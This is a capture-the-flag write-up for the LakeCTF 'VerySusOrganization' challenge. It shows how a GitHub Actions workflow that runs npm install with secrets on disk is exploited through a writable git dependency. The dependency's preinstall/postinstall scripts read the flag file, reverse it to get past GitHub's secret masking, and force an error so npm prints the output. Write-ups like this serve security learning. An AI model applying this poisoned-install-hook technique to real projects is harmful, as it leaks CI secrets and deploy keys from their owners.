← Back to home

LakeCTF '24-'25 Quals — VerySusOrganization

You have been hired to contribute to a very suspicious project. Follow the link below to get onboard.

https://challs.polygl0ts.ch:8123

We're given access to an organization that looks like this:

image

Besides the random projects, of note are two repositories:

  • The "sus image generator", which contains a GitHub action, and

image

  • The "sus random number generator", which we have write access to.

image

Notably, the check build workflow does an npm install,

Code (yml):

1name: Trigger Build on Comment
2
3on:
4  issue_comment:
5    types: [created, edited]
6
7jobs:
8  check-build:
9    if: ${{ startsWith(github.event.comment.body, '/run-build') }}
10    runs-on: ubuntu-latest
11    steps:
12      - name: Checkout code
13        uses: actions/checkout@v2
14        with:
15          fetch-depth: 0
16
17      - name: Set up SSH
18        env:
19          ACTIONS_DEPLOY_KEY: ${{ secrets.DEPENDENCY_DEPLOY_KEY }}
20          FLAG: ${{ secrets.FLAG }}
21        run: |
22          pwd
23          mkdir -p ~/.ssh
24          echo "$ACTIONS_DEPLOY_KEY" > ~/.ssh/id_rsa
25          echo "$FLAG" > ~/flag.txt
26          chmod 600 ~/.ssh/id_rsa
27          ssh-keyscan github.com >> ~/.ssh/known_hosts
28          
29
30      - name: Install dependencies
31        run: |
32          npm install

and the image generator lists the random number generator repo as a dependency in package.json:

Code (json):

1{
2    "name": "sus-image-generator",
3    "version": "1.0.0",
4    "main": "app.js",
5    "keywords": [],
6    "author": "paultisaw",
7    "license": "ISC",
8    "description": "Yet another sus image generator",
9    "dependencies": {
10        "express": "^4.21.1",
11        "suspicious-random-number-generator": "git+ssh://git@github.com:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git"
12    }
13}

Then, because we have write access to the random number generator repository, we can use npm pre- / post-install scripts to execute malicious code in the GitHub runner.

image

One last hiccup: when a pre- or post-install script is run, its output is suppressed by NPM, so we can't just echo the flag directly. However, returning an error will cause any prior output to be logged. Testing with a preinstall script of echo test,

Code (bash):

1PS C:\Users\kevin\Downloads> npm i git+ssh://git@github.com:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git
2
3added 1 package in 9s

But if we use echo test && exit 1,

Code (bash):

1PS C:\Users\kevin\Downloads> npm i git+ssh://git@github.com:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git
2npm ERR! code 1
3npm ERR! git dep preparation failed
4npm ERR! command C:\Program Files\nodejs\node.exe C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js install --force --cache=C:\Users\kevin\AppData\Local\npm-cache --prefer-offline=false --prefer-online=false --offline=false --no-progress --no-save --no-audit --include=dev --include=peer --include=optional --no-package-lock-only --no-dry-run
5npm ERR! > suspicious-random-number-generator@1.0.1 preinstall
6npm ERR! > echo test && exit 1
7npm ERR!
8npm ERR! test
9npm ERR! npm WARN using --force Recommended protections disabled.
10npm ERR! npm ERR! code 1
11npm ERR! npm ERR! path C:\Users\kevin\AppData\Local\npm-cache\_cacache\tmp\git-clonesoPIBC
12npm ERR! npm ERR! command failed
13npm ERR! npm ERR! command C:\WINDOWS\system32\cmd.exe /d /s /c echo test && exit 1
14npm ERR!
15npm ERR! npm ERR! A complete log of this run can be found in: C:\Users\kevin\AppData\Local\npm-cache\_logs\2024-12-07T20_36_43_586Z-debug-0.log
16
17npm ERR! A complete log of this run can be found in: C:\Users\kevin\AppData\Local\npm-cache\_logs\2024-12-07T20_36_34_744Z-debug-0.log

Then we have our final payload; in the random number generator repo, we can add a post-install script to cat the flag and error out, printing the output to the GitHub actions console:

Code (json):

1{
2  "name": "suspicious-random-number-generator",
3  "version": "1.0.1",
4  "main": "index.js",
5  "author": "paultisaw",
6  "description": "Yet another suspicious random number generator",
7  "scripts": {
8    "preinstall": "rev ~/flag.txt && exit 1",
9    "postinstall": "rev ~/flag.txt && exit 1"
10  }
11}

(using rev here to reverse the string and prevent GitHub from automatically censoring the flag in the action output). Triggering a workflow run, we get the flag:

image

Code (bash):

1kevin@ky28059:~$ echo "}suS_yrev_d33Dni_saw_SIhT{LPFE" | rev
2EFPL{ThIS_was_inD33d_very_Sus}